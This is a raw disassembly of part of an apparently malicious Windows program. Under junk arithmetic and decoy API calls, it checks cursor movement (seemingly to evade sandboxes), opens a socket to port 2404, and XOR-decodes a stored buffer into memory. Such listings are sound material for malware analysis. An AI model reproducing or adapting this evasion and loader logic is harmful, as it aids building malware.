mov ecx, dword [0x5826b8]
sub ecx, eax
mov dword [0x5826b8], ecx
jmp 0x40cec1
mov eax, dword [0x581f70]
cdq
push 0x2d
pop ecx
idiv ecx
mov ecx, eax
mov esi, dword [0x58293c]
add esi, 0x54
mov eax, dword [0x5826b0]
cdq
idiv esi
movzx edx, word [0x582368]
imul eax, edx
sub ecx, eax
mov esi, dword [0x582950]
add esi, 0x33
mov eax, dword [0x5826b8]
cdq
idiv esi
sub ecx, eax
add ecx, dword [0x582948]
add ecx, dword [0x582958]
add ecx, dword [0x5826b8]
mov dword [0x5826b8], ecx
mov eax, dword [0x5826a4]
cmp eax, dword [0x58292c]
jg 0x40cef8
movzx eax, word [0x5826c0]
imul eax, dword [0x5826bc]
mov ecx, dword [0x58294c]
sub ecx, eax
add ecx, dword [0x57c2b8]
add ecx, dword [0x57c2b8]
mov dword [0x57c2b8], ecx
jmp 0x40cf08
mov eax, dword [0x57c2b8]
sub eax, dword [0x582938]
mov dword [0x57c2b8], eax
cmp dword [0x582938], 0
je 0x40cf29
mov eax, dword [0x57c2b8]
sub eax, dword [0x582944]
add eax, dword [0x57c2b8]
mov dword [0x57c2b8], eax
jmp 0x40cf39
mov eax, dword [0x58293c]
add eax, dword [0x582968]
mov dword [0x582944], eax
and dword [ebp - 0x27a8], 0
mov dword [ebp - 0x27f8], 1
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x27ac], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x27c4], eax
and dword [ebp - 0x27f4], 0
mov dword [ebp - 0x27c0], 1
mov dword [ebp - 0x2680], 1
and dword [ebp - 0x27bc], 0
mov byte [ebp - 0x2794], 0
push 0xff
push 0
lea eax, [ebp - 0x2793]
push eax
call fcn.0050f760
add esp, 0xc
and dword [ebp - 0x27a4], 0
xor eax, eax
lea edi, [ebp - 0x27a0]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ebp - 0x27f0], 0
xor eax, eax
lea edi, [ebp - 0x27ec]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ebp - 0x2690], 0
xor eax, eax
lea edi, [ebp - 0x268c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov word [ebp - 0x267c], ax
push 0x206
push 0
lea eax, [ebp - 0x267a]
push eax
call fcn.0050f760
add esp, 0xc
and dword [ebp - 0x2808], 0
jmp 0x40d006
mov eax, dword [ebp - 0x2808]
inc eax
mov dword [ebp - 0x2808], eax
mov eax, dword [0x582948]
add eax, 0x62
cmp dword [ebp - 0x2808], eax
jge 0x40d061
cmp dword [0x582934], 0
je 0x40d035
cmp dword [0x58293c], 0
je 0x40d035
mov eax, dword [ebp - 0x280c]
push dword [eax]
call sub.AVIFIL32.dll_AVIStreamRelease
movzx eax, byte [0x582938]
add eax, dword [0x582964]
cmp eax, dword [ebp - 0x27c0]
jb 0x40d05f
movzx eax, byte [0x582928]
mov ecx, dword [ebp - 0x27f4]
sub ecx, eax
mov dword [ebp - 0x27f4], ecx
jmp 0x40cff9
mov eax, dword [0x582968]
imul eax, dword [0x582948]
sub eax, dword [ebp - 0x27f8]
add eax, dword [0x57c2b8]
add eax, dword [0x582944]
add eax, dword [0x582968]
mov dword [0x582968], eax
mov eax, dword [0x58294c]
add eax, dword [ebp - 0x27c4]
mov dword [0x582944], eax
push str.docs
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
mov dword [ebp - 0x2804], eax
movzx eax, word [0x582944]
mov ecx, dword [0x582950]
add ecx, 0x62
cdq
idiv ecx
imul eax, dword [ebp - 0x27c4]
mov ecx, dword [0x57c2b8]
sub ecx, eax
mov eax, dword [0x582928]
sub eax, ecx
mov dword [0x582928], eax
and dword [ebp - 0x27e0], 0
and dword [ebp - 0x27b0], 0
and dword [ebp - 0x2470], 0
xor eax, eax
lea edi, [ebp - 0x246c]
stosd dword es:[edi], eax
and dword [ebp - 0x2800], 0
xor eax, eax
lea edi, [ebp - 0x27fc]
stosd dword es:[edi], eax
and dword [ebp - 0x2828], 0
push dword [ebp - 0x2828]
call dword [sym.imp.USER32.dll_GetWindowDC]
mov dword [ebp - 0x2824], eax
mov dword [ebp - 0x2820], 0x18
lea eax, [ebp - 0x281c]
push eax
push dword [ebp - 0x2828]
call dword [sym.imp.USER32.dll_GetWindowRect]
and dword [ebp - 0x282c], 0
push dword [ebp - 0x282c]
call dword [sym.imp.KERNEL32.DLL_FreeEnvironmentStringsA]
test eax, eax
jne 0x40d161
and dword [0x582928], 0
lea eax, [ebp - 0x2470]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
and dword [ebp - 0x2830], 0
jmp 0x40d184
mov eax, dword [ebp - 0x2830]
inc eax
mov dword [ebp - 0x2830], eax
mov eax, dword [ebp - 0x2680]
add eax, 9
cmp dword [ebp - 0x2830], eax
jae 0x40d4ad
movzx eax, byte [ebp - 0x27c0]
mov ecx, dword [0x58294c]
add ecx, 0x5d
cdq
idiv ecx
imul eax, dword [ebp - 0x27f8]
xor edx, edx
push 0x11
pop ecx
div ecx
movzx ecx, byte [0x582938]
imul ecx, dword [0x582958]
add eax, dword [ebp - 0x268c]
add ecx, eax
lea eax, [ebp + ecx - 0x267c]
mov ecx, dword [0x57c2b8]
sub ecx, eax
mov dword [0x57c2b8], ecx
lea eax, [ebp - 0x2800]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
and dword [ebp - 0x2840], 0
xor eax, eax
lea edi, [ebp - 0x283c]
stosd dword es:[edi], eax
and dword [ebp - 0x2838], 0
xor eax, eax
lea edi, [ebp - 0x2834]
stosd dword es:[edi], eax
push 0x21
push dword [ebp - 0x2834]
push dword [ebp - 0x283c]
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
mov ecx, dword [0x582950]
add ecx, 0x5e
mov eax, dword [ebp - 0x27a8]
xor edx, edx
div ecx
movzx ecx, byte [0x58292c]
imul eax, ecx
movzx ecx, word [ebp - 0x27f4]
imul eax, ecx
mov ecx, dword [ebp - 0x27f8]
sub ecx, eax
add ecx, dword [0x582948]
movzx eax, word [0x582928]
sub ecx, eax
mov dword [0x582944], ecx
mov eax, dword [0x582964]
add eax, dword [0x5826cc]
mov ecx, dword [0x582944]
sub ecx, dword [0x582968]
cmp eax, ecx
ja 0x40d293
movzx eax, word [ebp - 0x27f4]
mov dword [0x582968], eax
jmp 0x40d2d4
movzx eax, word [0x582968]
movzx ecx, word [0x58295c]
sub eax, ecx
movzx ecx, byte [0x58292c]
imul ecx, dword [ebp - 0x27f4]
add eax, ecx
movzx ecx, byte [0x5826a0]
add eax, dword [ebp - 0x27f8]
add ecx, eax
sub ecx, dword [ebp - 0x27ac]
mov eax, dword [0x57c2b8]
sub eax, ecx
mov dword [0x57c2b8], eax
mov eax, dword [ebp - 0x2800]
cmp eax, dword [ebp - 0x2470]
jne 0x40d2f0
mov eax, dword [ebp - 0x27fc]
cmp eax, dword [ebp - 0x246c]
je 0x40d367
and dword [ebp - 0x2a50], 0
push 0x4b0
lea eax, [ebp - 0x2a4c]
push eax
push dword [ebp - 0x2a50]
call sub.USER32.dll_DdeCreateStringHandleW
mov ecx, dword [0x582938]
add ecx, 0x43
mov eax, dword [ebp - 0x2688]
cdq
idiv ecx
add eax, dword [ebp - 0x27ec]
add eax, dword [0x57c2b8]
cmp eax, dword [0x582934]
jge 0x40d340
mov eax, dword [ebp - 0x27e8]
mov dword [ebp - 0x2798], eax
mov eax, dword [ebp - 0x2800]
mov dword [ebp - 0x2470], eax
mov eax, dword [ebp - 0x27fc]
mov dword [ebp - 0x246c], eax
mov eax, dword [ebp - 0x27e0]
inc eax
mov dword [ebp - 0x27e0], eax
jmp 0x40d398
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
movzx eax, byte [0x58293c]
cmp dword [ebp - 0x279c], eax
jl 0x40d398
movzx eax, word [ebp - 0x27e8]
mov ecx, dword [0x582964]
sub ecx, eax
mov dword [ebp - 0x27f0], ecx
mov ecx, dword [0x582950]
add ecx, 0x42
mov eax, dword [0x582950]
cdq
idiv ecx
movzx ecx, byte [0x582968]
imul ecx, dword [0x58295c]
movzx edx, word [0x582940]
imul ecx, edx
add eax, ecx
sub eax, dword [0x582093]
mov ecx, dword [0x582968]
sub ecx, eax
mov dword [0x582968], ecx
mov eax, dword [ebp - 0x27c4]
add eax, dword [ebp - 0x27ec]
add eax, dword [0x582944]
mov dword [0x582944], eax
cmp dword [ebp - 0x27e0], 0
jbe 0x40d425
push 0xff0062
push dword [0x582928]
push dword [0x58292c]
push 0
push 0
push dword [0x582934]
call dword [sym.imp.GDI32.dll_PatBlt]
mov eax, dword [ebp - 0x27b0]
inc eax
mov dword [ebp - 0x27b0], eax
and dword [ebp - 0x2a64], 0
lea eax, [ebp - 0x2a60]
push eax
push dword [0x58292c]
push dword [ebp - 0x2a64]
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
xor eax, eax
inc eax
sub eax, dword [0x582934]
cmp dword [ebp - 0x27e0], eax
jbe 0x40d45f
jmp 0x40d4ad
mov eax, dword [0x582948]
imul eax, dword [0x58292c]
add eax, dword [0x582944]
mov dword [0x582944], eax
cmp dword [ebp - 0x27b0], 4
jbe 0x40d491
push 0
push 0
push dword [0x582964]
call dword [sym.imp.GDI32.dll_SetTextJustification]
jmp 0x40d4ad
mov eax, dword [0x582934]
add eax, 0xbb7
push eax
push dword [ebp - 0x2804]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
jmp 0x40d177
lea ecx, [ebp - 0x27dc]
call fcn.0040f836
mov dword [ebp - 4], 0x13
mov ax, word [0x582968]
mov word [ebp - 0x2d24], ax
lea eax, [ebp - 0x2d24]
push eax
lea ecx, [ebp - 0x27dc]
call fcn.0041014b
mov eax, dword [0x582948]
cdq
push 0x30
pop ecx
idiv ecx
sub eax, dword [0x58295c]
sub eax, dword [0x582964]
add eax, dword [0x582944]
sub eax, dword [0x582968]
movzx ecx, word [0x57c2b8]
add eax, dword [ebp - 0x27c4]
add ecx, eax
mov dword [0x582968], ecx
mov eax, dword [0x58294c]
imul eax, dword [0x58292c]
add eax, dword [ebp - 0x27c4]
mov ecx, dword [ebp - 0x27c4]
sub ecx, eax
mov dword [ebp - 0x27c4], ecx
mov eax, dword [0x582928]
add eax, dword [0x582934]
sub eax, dword [ebp - 0x27c0]
add eax, dword [0x582928]
mov dword [0x582928], eax
mov eax, dword [0x582938]
cdq
push 0xd
pop ecx
idiv ecx
movzx ecx, byte [0x58295c]
add eax, ecx
je 0x40d575
mov eax, dword [0x58293c]
mov dword [ebp - 0x27ac], eax
jmp 0x40d5a6
mov ecx, dword [0x582948]
add ecx, 0x39
mov eax, dword [0x5826cc]
cdq
idiv ecx
mov ecx, dword [ebp - 0x27c0]
sub ecx, eax
add ecx, dword [0x58295c]
add ecx, dword [ebp - 0x27f8]
add ecx, dword [ebp - 0x27f8]
mov dword [ebp - 0x27f8], ecx
mov ax, word [0x582944]
mov word [ebp - 0x2d26], ax
lea eax, [ebp - 0x2d26]
push eax
lea ecx, [ebp - 0x27dc]
call fcn.0041014b
xor eax, eax
cmp dword [ebp - 0x27cc], 0
sete al
movzx eax, al
test eax, eax
je 0x40d5f7
mov eax, dword [0x58292c]
cdq
push 0x11
pop ecx
idiv ecx
add eax, dword [0x582096]
mov ecx, dword [ebp - 0x27f4]
sub ecx, eax
mov dword [ebp - 0x27f4], ecx
mov ax, word [ebp - 0x27f4]
mov word [ebp - 0x2d28], ax
lea eax, [ebp - 0x2d28]
push eax
lea ecx, [ebp - 0x27dc]
call fcn.0041014b
lea eax, [ebp - 0x2ee0]
push eax
lea ecx, [ebp - 0x27dc]
call fcn.004105e4
mov dword [ebp - 0x31e0], eax
mov eax, dword [ebp - 0x31e0]
mov dword [ebp - 0x2ee4], eax
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x2ee4]
call fcn.004123a0
mov dword [ebp - 0x2ed4], eax
mov byte [ebp - 4], 0x13
mov eax, dword [ebp - 0x2ed4]
movzx eax, word [eax]
mov dword [ebp - 0x27b4], eax
lea eax, [ebp - 0x27b4]
mov dword [ebp - 0x27b8], eax
mov ax, word [0x582944]
mov word [ebp - 0x2d2a], ax
lea eax, [ebp - 0x2d2a]
push eax
lea ecx, [ebp - 0x27dc]
call fcn.0041014b
lea ecx, [ebp - 0x27dc]
call fcn.004100ac
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 4], 0x15
lea ecx, [ebp - 0x27dc]
call fcn.00410223
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x27dc]
call fcn.00410053
cmp dword [0x57c2b8], 0
jne 0x40d6f4
mov ecx, dword [0x582964]
add ecx, 0x33
mov eax, dword [0x58295c]
cdq
idiv ecx
add eax, dword [0x582360]
add eax, dword [0x582358]
mov ecx, dword [0x582360]
sub ecx, eax
mov dword [0x582360], ecx
jmp 0x40d704
mov eax, dword [0x5826c0]
add eax, dword [0x582928]
mov dword [0x5826c0], eax
and dword [ebp - 0x2a78], 0
mov dword [ebp - 0x2a9c], 1
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x2a80], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2a88], eax
and dword [ebp - 0x2a74], 0
and dword [ebp - 0x2a90], 0
mov dword [ebp - 0x2a70], 3
mov dword [ebp - 0x2a7c], 1
mov dword [ebp - 0x2a84], 1
and dword [ebp - 0x2a98], 0
and dword [ebp - 0x2a6c], 0
and dword [ebp - 0x2a8c], 0
mov eax, dword [0x58293c]
mov dword [ebp - 0x2a94], eax
and dword [ebp - 0x2a68], 0
mov eax, 0x202
mov word [ebp - 0x2c4c], ax
cmp dword [ebp - 0x2a6c], 0
jne 0x40d798
cmp dword [ebp - 0x2a94], 0
jne 0x40d7a2
mov eax, dword [0x5826cc]
mov dword [0x58269c], eax
lea eax, [ebp - 0x2c34]
push eax
push dword [ebp - 0x2c4c]
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea eax, [ebp - 0x2ef5]
mov dword [ebp - 0x2ef4], eax
and dword [ebp - 0x2c48], 0
and dword [ebp - 0x2c44], 0
and dword [ebp - 0x2c40], 0
lea eax, [ebp - 0x2c48]
mov dword [ebp - 0x31e4], eax
mov dword [ebp - 4], 0x16
and dword [ebp - 0x2aa0], 0
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov dword [ebp - 0x2c38], eax
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x2aa0], eax
cmp dword [ebp - 0x2aa0], 0xffffffff
jne 0x40d824
cmp dword [ebp - 0x2a7c], 0
je 0x40e117
push 0x10
push dword [ebp - 0x2c38]
push dword [ebp - 0x2aa0]
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x40d84f
mov eax, dword [ebp - 0x2a70]
cmp eax, dword [ebp - 0x2a78]
jbe 0x40d980
mov eax, dword [0x582934]
add eax, dword [0x582948]
add eax, dword [0x57c2b8]
mov dword [0x57c2b8], eax
mov eax, dword [0x58294c]
imul eax, dword [ebp - 0x2a84]
imul eax, dword [ebp - 0x2a70]
mov ecx, dword [0x58295c]
lea eax, [eax + ecx + 0xd]
mov dword [ebp - 0x2a74], eax
mov eax, dword [0x582964]
inc eax
sub eax, dword [ebp - 0x2a9c]
mov ecx, dword [0x582928]
sub ecx, dword [0x582944]
imul ecx, dword [ebp - 0x2a80]
add eax, ecx
mov ecx, dword [ebp - 0x2a78]
add ecx, dword [0x582964]
add ecx, dword [0x582944]
add ecx, eax
mov dword [0x582944], ecx
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.___WSAEventSelect__WSAGetLastError_____d_n
call fcn.0050ff40
pop ecx
pop ecx
and dword [ebp - 0x2c64], 0
jmp 0x40d8ec
mov eax, dword [ebp - 0x2c64]
inc eax
mov dword [ebp - 0x2c64], eax
mov eax, dword [ebp - 0x2c64]
cmp eax, dword [ebp - 0x2a74]
jge 0x40d91c
cmp dword [ebp - 0x2a7c], 0
je 0x40d91a
mov eax, dword [ebp - 0x2c64]
add eax, 0x577250
push eax
lea ecx, [ebp - 0x2c48]
call fcn.0040f336
jmp 0x40d8df
mov eax, dword [0x582948]
add eax, 0x64
sub eax, dword [0x58295c]
imul eax, dword [ebp - 0x2a90]
add eax, dword [0x582968]
add eax, dword [ebp - 0x2a80]
mov ecx, dword [0x58292c]
shl ecx, 3
push 0x64
pop edx
sub edx, ecx
sub eax, edx
add eax, dword [ebp - 0x2a7c]
mov dword [0x57c2b8], eax
mov eax, dword [ebp - 0x2a70]
mov ecx, dword [ebp - 0x2a74]
lea eax, [ecx + eax + 1]
imul eax, dword [0x58292c]
add eax, dword [ebp - 0x2a78]
mov dword [ebp - 0x2a78], eax
jmp 0x40da34
mov eax, dword [ebp - 0x2a88]
add eax, dword [ebp - 0x2a70]
imul eax, dword [ebp - 0x2a98]
add eax, dword [0x57c2b8]
add eax, dword [0x582944]
mov dword [0x582944], eax
mov eax, dword [0x582944]
imul eax, dword [0x57c2b8]
add eax, dword [ebp - 0x2a9c]
mov dword [ebp - 0x2a9c], eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.WSAEventSelect_____WSAGetLastError_____d_n
call fcn.0050ff40
pop ecx
pop ecx
mov eax, dword [0x582928]
cmp eax, dword [0x58292c]
jg 0x40d9ed
mov eax, dword [0x582964]
sub eax, dword [ebp - 0x2a98]
mov dword [ebp - 0x2a88], eax
mov eax, dword [0x5826cc]
mov dword [0x58269c], eax
mov eax, dword [ebp - 0x2a88]
add eax, dword [ebp - 0x2a6c]
sub eax, dword [0x582928]
mov ecx, dword [0x582964]
mov edx, dword [0x582934]
lea ecx, [edx + ecx + 1]
imul ecx, dword [ebp - 0x2a7c]
cmp eax, ecx
jne 0x40da34
mov eax, dword [0x58292c]
add eax, dword [0x582928]
mov dword [0x58292c], eax
mov dword [ebp - 0x2c50], 0x5f
xor eax, eax
lea edi, [ebp - 0x2c60]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 2
pop eax
mov word [ebp - 0x2c60], ax
push 0x964
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x2c5e], ax
and dword [ebp - 0x2c68], 0
jmp 0x40da7c
mov eax, dword [ebp - 0x2c68]
inc eax
mov dword [ebp - 0x2c68], eax
mov eax, dword [ebp - 0x2c68]
cmp eax, dword [ebp - 0x2a74]
jge 0x40dab3
mov eax, dword [ebp - 0x2c48]
add eax, dword [ebp - 0x2c68]
mov al, byte [eax]
mov byte [ebp - 0x2c69], al
mov eax, dword [0x58269c]
add eax, dword [ebp - 0x2c68]
mov cl, byte [ebp - 0x2c69]
mov byte [eax], cl
jmp 0x40da6f
push 0x10
lea eax, [ebp - 0x2c60]
push eax
push dword [ebp - 0x2aa0]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40db29
cmp dword [ebp - 0x2a68], 0
je 0x40db29
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.___connect__WSAGetLastError_____d_n
call fcn.0050ff40
pop ecx
pop ecx
mov eax, dword [0x58294c]
add eax, dword [ebp - 0x2a6c]
cmp dword [ebp - 0x2a98], eax
je 0x40db24
mov eax, dword [ebp - 0x2a7c]
imul eax, dword [0x58294c]
add eax, dword [0x58295c]
mov ecx, dword [0x58293c]
lea eax, [eax + ecx + 0x14]
sub eax, dword [0x582964]
mov dword [0x582944], eax
jmp 0x40de9c
mov eax, dword [0x58295c]
add eax, dword [ebp - 0x2c50]
mov dword [ebp - 0x3168], eax
mov eax, dword [0x58269c]
mov dword [ebp - 0x3164], eax
mov eax, dword [ebp - 0x2a74]
mov dword [ebp - 0x3130], eax
and dword [ebp - 0x3104], 0
and dword [ebp - 0x3118], 0
and dword [ebp - 0x3150], 0
jmp 0x40db75
mov eax, dword [ebp - 0x3150]
inc eax
mov dword [ebp - 0x3150], eax
mov eax, dword [ebp - 0x3150]
cmp eax, dword [ebp - 0x3130]
jge 0x40de89
mov eax, dword [ebp - 0x3164]
add eax, dword [ebp - 0x3150]
mov al, byte [eax]
mov byte [ebp - 0x3155], al
movzx eax, byte [0x58293c]
cdq
push 0x3c
pop ecx
idiv ecx
mov ecx, eax
movzx eax, word [ebp - 0x3134]
cdq
push 0x59
pop esi
idiv esi
sub ecx, eax
sub ecx, dword [0x582928]
mov dword [0x582928], ecx
mov eax, dword [ebp - 0x3118]
imul eax, dword [ebp - 0x3168]
shl eax, 5
sub eax, dword [ebp - 0x3104]
mov dword [ebp - 0x315c], eax
fild dword [0x582938]
call fcn.00510030
fild dword [0x582938]
fxch st(1)
fstp qword [ebp - 0x31ec]
call fcn.00510030
mov eax, dword [ebp - 0x3138]
mov dword [ebp - 0x31f4], eax
and dword [ebp - 0x31f0], 0
fild qword [ebp - 0x31f4]
fmulp st(1)
fadd qword [ebp - 0x31ec]
fiadd dword [ebp - 0x3148]
call fcn.0050fd40
mov dword [ebp - 0x3148], eax
cmp dword [0x582938], 0
je 0x40dc57
mov eax, dword [ebp - 0x3168]
mov ecx, dword [ebp - 0x3150]
lea eax, [ecx + eax + 0x46]
imul eax, dword [ebp - 0x3104]
mov dword [ebp - 0x3104], eax
mov eax, dword [0x582928]
add eax, dword [0x58292c]
movzx ecx, word [0x582934]
add ecx, dword [ebp - 0x3108]
add ecx, eax
mov dword [ebp - 0x3108], ecx
movzx eax, byte [ebp - 0x3155]
xor eax, dword [ebp - 0x315c]
mov byte [ebp - 0x315d], al
cmp dword [0x582934], 0
jne 0x40dcbe
mov eax, dword [ebp - 0x3104]
add eax, dword [ebp - 0x3168]
mov ecx, dword [ebp - 0x3150]
add ecx, dword [ebp - 0x3104]
add eax, dword [ebp - 0x3118]
lea eax, [eax + ecx*2 + 0xa8]
mov dword [ebp - 0x3118], eax
movzx eax, byte [0x58292c]
test eax, eax
jne 0x40dcef
movzx eax, word [0x58292c]
movzx ecx, byte [0x582938]
imul eax, ecx
movzx ecx, word [ebp - 0x310c]
add ecx, dword [ebp - 0x314c]
add ecx, eax
mov dword [ebp - 0x314c], ecx
mov eax, dword [ebp - 0x3118]
inc eax
inc eax
cmp dword [ebp - 0x3104], eax
jne 0x40dd17
mov eax, dword [ebp - 0x315c]
add eax, dword [ebp - 0x3168]
add eax, dword [ebp - 0x3118]
mov dword [ebp - 0x3118], eax
movzx eax, word [ebp - 0x3138]
add eax, dword [ebp - 0x313c]
sub eax, dword [0x582928]
mov dword [ebp - 0x31f8], eax
fild dword [0x58292c]
fild dword [ebp - 0x31f8]
fstp qword [ebp - 0x3200]
call fcn.00510130
fadd qword [ebp - 0x3200]
call fcn.0050fd76
mov dword [ebp - 0x314c], eax
mov al, byte [ebp - 0x315d]
mov byte [ebp - 0x3154], al
mov eax, dword [ebp - 0x3134]
mov dword [ebp - 0x3208], eax
and dword [ebp - 0x3204], 0
fild dword [0x582938]
fild qword [ebp - 0x3208]
fstp qword [ebp - 0x3210]
call fcn.0050fe30
fsubr qword [ebp - 0x3210]
fisub dword [ebp - 0x3128]
fisubr dword [0x58292c]
call fcn.0050fd40
mov dword [0x58292c], eax
mov eax, dword [ebp - 0x3104]
cmp eax, dword [ebp - 0x3118]
jge 0x40ddce
mov eax, dword [ebp - 0x3150]
mov ecx, dword [ebp - 0x3168]
lea eax, [ecx + eax + 0x2a]
mov dword [ebp - 0x3104], eax
movzx eax, word [0x582938]
add eax, dword [0x582928]
add eax, dword [ebp - 0x3144]
mov dword [ebp - 0x3144], eax
mov al, byte [ebp - 0x3164]
mov byte [ebp - 0x3153], al
cmp dword [ebp - 0x3168], 0
je 0x40de12
mov eax, dword [ebp - 0x3164]
add eax, dword [ebp - 0x3150]
mov cl, byte [ebp - 0x3154]
mov byte [eax], cl
jmp 0x40de26
mov eax, dword [ebp - 0x3164]
add eax, dword [ebp - 0x3150]
mov cl, byte [ebp - 0x3153]
mov byte [eax], cl
mov eax, dword [ebp - 0x3168]
add eax, dword [ebp - 0x3104]
cmp dword [ebp - 0x315c], eax
jne 0x40de53
mov eax, dword [ebp - 0x3168]
add eax, 3
mov ecx, dword [ebp - 0x3104]
sub ecx, eax
mov dword [ebp - 0x3104], ecx
jmp 0x40de65
mov eax, dword [ebp - 0x3104]
add eax, dword [ebp - 0x315c]
mov dword [ebp - 0x3104], eax
cmp dword [0x58293c], 0
jne 0x40de84
mov eax, dword [ebp - 0x3104]
mov ecx, dword [ebp - 0x3118]
lea eax, [ecx + eax + 0x16]
mov dword [ebp - 0x3118], eax
jmp 0x40db68
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.connect_____WSAGetLastError_____d_n
call fcn.0050ff40
pop ecx
pop ecx
mov eax, dword [ebp - 0x2a9c]
mov dword [ebp - 0x3214], eax
cmp dword [ebp - 0x3214], 1
je 0x40dec6
cmp dword [ebp - 0x3214], 0xe3
je 0x40e09e
jmp 0x40e117
push 0x2c
push 0
lea eax, [ebp - 0x2c98]
push eax
call fcn.0050f760
add esp, 0xc
mov eax, dword [0x58269c]
lea ecx, [ebp + 8]
mov dword [eax + 1], ecx
lea eax, [ebp - 0x2c98]
push eax
push dword [ebp - 0x2c38]
push dword [ebp - 0x2aa0]
call dword [sym.imp.WS2_32.dll_WSAEnumNetworkEvents]
cmp eax, 0xffffffff
jne 0x40df99
mov eax, dword [0x582928]
cmp eax, dword [0x58292c]
jle 0x40df1a
and dword [ebp - 0x2a88], 0
mov eax, dword [ebp - 0x2a8c]
add eax, dword [0x582964]
sub eax, dword [ebp - 0x2a9c]
mov ecx, dword [0x582928]
sub ecx, dword [0x582944]
imul ecx, dword [ebp - 0x2a80]
add eax, ecx
mov ecx, dword [ebp - 0x2a8c]
add ecx, dword [0x582964]
add ecx, dword [0x582944]
add ecx, eax
mov dword [0x582944], ecx
push dword [ebp - 0x2c98]
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.___WSAEnumNetworkEvents__WSAGetLastError_____d__netEvents___d_n
call fcn.0050ff40
add esp, 0xc
mov eax, dword [0x582928]
cmp eax, dword [0x58292c]
jg 0x40df94
mov eax, dword [0x582928]
imul eax, dword [0x57c2b8]
mov dword [ebp - 0x2a88], eax
jmp 0x40e020
mov eax, dword [0x582948]
add eax, dword [ebp - 0x2a88]
mov ecx, dword [0x58295c]
imul ecx, dword [ebp - 0x2a98]
add eax, ecx
mov dword [0x582944], eax
push dword [ebp - 0x2c98]
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.WSAEnumNetworkEvents_____WSAGetLastError_____d__netEvents___d_n
call fcn.0050ff40
add esp, 0xc
mov eax, dword [0x582944]
inc eax
cmp dword [ebp - 0x2a98], eax
jge 0x40dff6
mov eax, dword [0x582928]
add eax, dword [0x582934]
add eax, dword [0x58294c]
mov dword [0x57c2b8], eax
mov eax, dword [0x582944]
cmp eax, dword [0x57c2b8]
jne 0x40e020
mov eax, dword [ebp - 0x2a80]
add eax, dword [0x58292c]
add eax, dword [0x5826a0]
add eax, dword [0x582928]
mov dword [0x582928], eax
push dword [ebp - 0x2c38]
call dword [sym.imp.KERNEL32.DLL_ResetEvent]
mov eax, dword [0x582948]
add eax, 0x64
sub eax, dword [0x58295c]
imul eax, dword [ebp - 0x2a78]
mov ecx, dword [ebp - 0x2a94]
inc ecx
sub ecx, dword [ebp - 0x2a9c]
add eax, ecx
mov ecx, dword [0x582928]
sub ecx, dword [0x582944]
imul ecx, dword [ebp - 0x2a80]
add eax, ecx
mov ecx, dword [ebp - 0x2a78]
add ecx, dword [0x582964]
add eax, ecx
mov dword [0x582928], eax
mov eax, dword [0x582928]
mov ecx, dword [0x582944]
lea eax, [ecx + eax*4]
add eax, dword [ebp - 0x2a94]
cdq
sub eax, edx
sar eax, 1
add eax, dword [0x582944]
mov dword [0x582944], eax
jmp 0x40e117
mov eax, dword [0x58292c]
mov ecx, dword [0x582928]
lea eax, [ecx + eax - 4]
mov dword [0x582928], eax
cmp dword [0x58292c], 0
je 0x40e0ce
mov eax, dword [0x57c2b8]
add eax, dword [ebp - 0x10]
sub eax, dword [0x582944]
mov dword [0x582944], eax
mov eax, dword [0x582968]
add eax, dword [ebp - 0x2a80]
mov ecx, dword [ebp - 0x2a68]
add ecx, dword [ebp - 0x2a90]
imul ecx, dword [ebp - 0x2a80]
add eax, ecx
mov dword [0x582944], eax
mov eax, dword [0x58292c]
mov ecx, dword [0x582928]
lea eax, [ecx + eax - 4]
mov dword [0x582928], eax
mov eax, dword [0x582944]
add eax, dword [ebp - 0x2a98]
mov dword [0x57c2b8], eax
push dword [0x582934]
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov dword [ebp - 4], 0x17
lea ecx, [ebp - 0x2c48]
call fcn.0040fb32
or dword [ebp - 4], 0xffffffff
movzx eax, word [0x581f70]
mov ecx, dword [0x582938]
add ecx, 0x5b
cdq
idiv ecx
movzx ecx, word [0x582358]
imul eax, ecx
test eax, eax
je 0x40e16c
mov eax, dword [0x581f70]
add eax, dword [0x582354]
mov dword [0x581f70], eax
jmp 0x40e1ac
mov eax, dword [0x5826b0]
cdq
push 0x27
pop ecx
idiv ecx
mov ecx, dword [0x582928]
sub ecx, eax
movzx eax, word [0x582354]
sub ecx, eax
add ecx, dword [0x5826cc]
movzx eax, byte [0x581f70]
add ecx, eax
movzx eax, word [0x582358]
sub ecx, eax
mov eax, dword [0x5826a8]
sub eax, ecx
mov dword [0x5826a8], eax
mov ecx, dword [0x582964]
add ecx, 0x3c
